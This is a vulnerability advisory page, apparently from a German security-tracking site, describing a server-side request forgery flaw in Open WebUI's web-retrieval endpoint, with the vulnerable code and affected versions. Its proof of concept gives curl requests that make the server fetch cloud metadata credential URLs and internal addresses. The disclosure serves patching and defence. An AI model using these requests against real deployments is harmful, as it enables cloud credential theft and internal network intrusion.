Hoch

Open WebUI vulnerable to Server-Side Request Forgery (SSRF) via Arbitrary URL Processing in /api/v1/retrieval/process/web

  • Veröffentlicht: 04.12.2025
  • Aktualisiert: 11.10.2026 13:19

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.

Details

The vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/open_webui/routers/retrieval.py at lines 1758-1767.

Vulnerable code: @router.post("/process/web") def process_web( request: Request, form_data: ProcessUrlForm, user=Depends(get_verified_user) ): try: collection_name = form_data.collection_name if not collection_name: collection_name = calculate_sha256_string(form_data.url)[:63]

      content, docs = get_content_from_url(request, form_data.url)  # ← SSRF vulnerability

The form_data.url parameter is passed directly to get_content_from_url() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:

Call chain:

  1. retrieval.py:1767 → get_content_from_url(request, form_data.url)
  2. retrieval/utils.py:77 → get_loader(request, url)
  3. retrieval/utils.py:62 → get_web_loader(url, ...) or YoutubeLoader(url, ...)
  4. Both loaders fetch the user-supplied URL without validation

No validation is performed for:

  • Private IP ranges (RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
  • Localhost addresses (127.0.0.0/8)
  • Cloud metadata endpoints (169.254.169.254, fd00:ec2::254)
  • Protocol restrictions (file://, gopher://, etc.)
  • Domain allowlisting

PoC

Prerequisites: Valid user account (any role)

Step 1 - Authenticate: TOKEN=$(curl -s "http://localhost:3000/api/v1/auths/signin"
-H 'Content-Type: application/json'
-d '{"email":"user@example.com","password":"password"}'
| python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

Step 2 - Basic SSRF Test (external URL): curl -s "http://localhost:3000/api/v1/retrieval/process/web"
-H "Authorization: Bearer $TOKEN"
-H 'Content-Type: application/json'
-d '{"url":"http://example.com"}'

Result: Server fetches example.com and returns its content, proving the vulnerability.

{ "status": true, "file": { "data": { "content": "Example Domain This domain is for use in documentation..." } } }

Step 3 - Advanced Attack (AWS metadata): curl -s "http://localhost:3000/api/v1/retrieval/process/web"
-H "Authorization: Bearer $TOKEN"
-H 'Content-Type: application/json'
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Result: Server exposes cloud credentials if running on AWS/GCP/Azure.

Other attack examples:

  • Internal network: {"url":"http://192.168.1.1"}
  • Localhost services: {"url":"http://localhost:5432"}
  • Internal APIs: {"url":"http://internal-api.local"}

Impact

Who is affected: All authenticated users (no special permissions required)

Attack capabilities:

  1. Cloud Environment Compromise - Steal AWS/GCP/Azure credentials via metadata endpoints - Result: Full cloud account takeover
  2. Internal Network Access - Bypass firewalls to access internal services (databases, admin panels, APIs) - Port scan and map internal infrastructure - Result: Complete network visibility
  3. Data Exfiltration - Read internal documentation, configurations, secrets - Access Kubernetes API servers - Result: Credential theft, API key exposure

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) open-webui < 0.6.37 0.6.37

Verweise

CVSS-Wert 8.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Schwäche (CWE)
CWE-918
Plattform
Python (PyPI)
Paket
open-webui
Veröffentlicht
04.12.2025
Aktualisiert
11.10.2026 13:19

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-1726 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-c6xv-rcvw-v685 - CC BY 4.0

Schwachstellenhistorie: open-webui

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (161) im Archiv
Einträge insgesamt
161
Erste → letzte
08.2024 09.2026
Ohne Fix
11
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 77
  • Mittel 75
  • Niedrig 8

Veröffentlichungen pro Jahr

  1. 2024: 3
  2. 2025: 21
  3. 2026: 137
Schweregrad:
  1. Open WebUI vulnerable to Server-Side Request Forgery (SSRF) via Arbitrary URL Processing in /api/v1/retrieval/process/web dieser Eintrag
    Hoch · 8.5 CVE-2025-65958 < 0.6.37 0.6.37
  2. Hoch · 7.7 CVE-2026-59221 >= 0.9.6, < 0.10.0 0.10.0
  3. Hoch · 7.3 CVE-2026-59214 < 0.10.0 0.10.0
  4. Hoch · 8.7 CVE-2026-54011 < 0.9.6 0.9.6
  5. Hoch · 7.1 CVE-2026-45349 < 0.9.0 0.9.0
  6. Hoch · 7.7 CVE-2026-45303 < 0.6.5 0.6.5
  7. Hoch · 7.1 CVE-2026-44569 < 0.6.19 0.6.19
  8. Hoch · 8.1 CVE-2026-44565 < 0.6.10 0.6.10
  9. Hoch · 7.3 CVE-2026-44566 < 0.1.124 0.1.124
  10. Hoch · 7.3 CVE-2026-44567 < 0.1.124 0.1.124
  11. Hoch · 7.3 CVE-2026-44549 < 0.8.0 0.8.0
  12. Kritisch · 9.1 CVE-2026-44551 < 0.9.0 0.9.0
  13. Hoch · 7.3 CVE-2026-44721 < 0.9.0 0.9.0
Mehr anzeigen (17) 61 von 78 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.